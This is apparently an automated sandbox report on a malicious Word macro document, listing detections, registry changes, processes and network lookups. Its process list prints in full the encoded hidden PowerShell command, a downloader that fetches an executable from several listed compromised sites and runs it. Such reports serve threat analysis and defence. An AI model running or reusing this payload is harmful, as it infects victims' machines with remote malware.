Malware Analysis Report

2024-12-07 16:03

Sample ID 241113-nxx7hszrhx
Target b05f88b93443f155daea5abd4be0be42b997502dbbfe8098cb6f0dccf8c56657
SHA256 b05f88b93443f155daea5abd4be0be42b997502dbbfe8098cb6f0dccf8c56657
Tags
macro discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b05f88b93443f155daea5abd4be0be42b997502dbbfe8098cb6f0dccf8c56657

Threat Level: Known bad

The file b05f88b93443f155daea5abd4be0be42b997502dbbfe8098cb6f0dccf8c56657 was found to be: Known bad.

Malicious Activity Summary

macro discovery execution

Process spawned unexpected child process

Blocklisted process makes network request

Suspicious Office macro

Command and Scripting Interpreter: PowerShell

Drops file in System32 directory

Drops file in Windows directory

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of SetWindowsHookEx

Enumerates system info in registry

Checks processor information in registry

Modifies registry class

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 11:47

Signatures

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 11:47

Reported

2024-11-13 11:49

Platform

win7-20240903-en

Max time kernel

122s

Max time network

123s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b05f88b93443f155daea5abd4be0be42b997502dbbfe8098cb6f0dccf8c56657.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Office loads VBA resources, possible macro or embedded object present

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{944AD5DF-9986-48EB-84BF-F8D83107290E}\2.0\FLAGS\ = "6" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\TypeLib\{944AD5DF-9986-48EB-84BF-F8D83107290E}\2.0\FLAGS C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{944AD5DF-9986-48EB-84BF-F8D83107290E}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\TypeLib\{944AD5DF-9986-48EB-84BF-F8D83107290E}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\TypeLib\{944AD5DF-9986-48EB-84BF-F8D83107290E}\2.0\0 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b05f88b93443f155daea5abd4be0be42b997502dbbfe8098cb6f0dccf8c56657.doc"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe

Powershell -w hidden -en JABWAGsAYgBtAGQAawBsAGwAegBtAHUAaAB5AD0AJwBUAHAAcQBhAGEAdQBtAHcAdQAnADsAJABOAGwAcQB2AG0AeABiAGcAIAA9ACAAJwA5ADEAOQAnADsAJABYAHcAbABxAGQAYgBiAHoAYQA9ACcAWgBjAGkAeABnAGsAagBmAG4AdwAnADsAJABLAHoAYQB1AGwAcgB3AGQAbgB0AGkAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATgBsAHEAdgBtAHgAYgBnACsAJwAuAGUAeABlACcAOwAkAEgAawBmAHgAZgBpAG4AaABvAGgAZABvAD0AJwBWAHEAZgB4AHUAZQBlAGYAcgB5AHMAJwA7ACQATgBkAGEAeABtAGkAZAB1AD0AJgAoACcAbgAnACsAJwBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcARQBCAEMATABpAGUATgBUADsAJABFAGgAegBvAHEAbABtAHUAbwA9ACcAaAB0AHQAcAA6AC8ALwBsAGUAaAByAGEAYQBnAHIAbwB0AGUAYwBoAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AQgAvACoAaAB0AHQAcAA6AC8ALwBlAG0AZABnAGEAbQBlAHMALgBjAG8AbQAvAGMAYQBsAGUAbgBkAGEAcgAvAHgAbwBzAC8AKgBoAHQAdABwADoALwAvAHMAZQBjAGEALgBpAG4AZgBvAGEAdgBpAHMAbwBzAC4AYwBvAG0ALwB3AHAALQBzAGUAYwBhAC8AZgAvACoAaAB0AHQAcAA6AC8ALwBhAHIAeAAxADYAMwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQB3ADQALwAqAGgAdAB0AHAAOgAvAC8AeQBvAHUAdABoAHAAbABhAG4AdAAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AOAAzADgALwAnAC4AIgBTAFAATABgAEkAVAAiACgAJwAqACcAKQA7ACQATQBsAHMAagBrAGgAZABkAGcAPQAnAFYAcQBuAGkAdgBzAHoAdABpACcAOwBmAG8AcgBlAGEAYwBoACgAJABTAHQAegBsAGkAeABzAGoAIABpAG4AIAAkAEUAaAB6AG8AcQBsAG0AdQBvACkAewB0AHIAeQB7ACQATgBkAGEAeABtAGkAZAB1AC4AIgBkAGAATwBXAG4ATABgAG8AYQBkAEYASQBsAGUAIgAoACQAUwB0AHoAbABpAHgAcwBqACwAIAAkAEsAegBhAHUAbAByAHcAZABuAHQAaQBmACkAOwAkAFMAegBwAGMAawBvAGMAdABoAGUAagA9ACcAVgB2AHgAcwBnAGwAagBwACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQASwB6AGEAdQBsAHIAdwBkAG4AdABpAGYAKQAuACIATABlAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADMANAA2ADIAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYQBgAFIAdAAiACgAJABLAHoAYQB1AGwAcgB3AGQAbgB0AGkAZgApADsAJABFAHIAdgBqAHkAeQB5AG8APQAnAFMAcwB0AGkAdwBwAGIAbQBxAHoAbQBuAG0AJwA7AGIAcgBlAGEAawA7ACQAVgBnAG4AeABpAHoAegB5AG4AeAB0AHQAcwA9ACcARwB1AHAAYwBkAGQAZABqAGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBjAGIAcABxAGUAaQBqAGQAPQAnAFEAZQB5AHMAdQBnAGsAZAB2AGkAJwA=

Network

Country Destination Domain Proto
US 8.8.8.8:53 lehraagrotech.com udp
US 8.8.8.8:53 emdgames.com udp
US 8.8.8.8:53 seca.infoavisos.com udp
US 8.8.8.8:53 arx163.com udp
CN 101.132.108.1:80 arx163.com tcp
US 8.8.8.8:53 youthplant.org udp

Files

memory/2296-0-0x000000002FE91000-0x000000002FE92000-memory.dmp

memory/2296-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2296-2-0x000000007147D000-0x0000000071488000-memory.dmp

memory/2296-7-0x0000000006600000-0x0000000006700000-memory.dmp

memory/2296-6-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/2296-5-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/2296-8-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/2296-9-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/2296-13-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/2296-11-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/2296-10-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/2296-16-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/2296-14-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/2768-22-0x000000001B640000-0x000000001B922000-memory.dmp

memory/2768-23-0x00000000026F0000-0x00000000026F8000-memory.dmp

memory/2296-24-0x000000007147D000-0x0000000071488000-memory.dmp

memory/2296-25-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/2296-26-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/2296-27-0x00000000006D0000-0x00000000007D0000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 11:47

Reported

2024-11-13 11:49

Platform

win10v2004-20241007-en

Max time kernel

150s

Max time network

153s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b05f88b93443f155daea5abd4be0be42b997502dbbfe8098cb6f0dccf8c56657.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b05f88b93443f155daea5abd4be0be42b997502dbbfe8098cb6f0dccf8c56657.doc" /o ""

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe

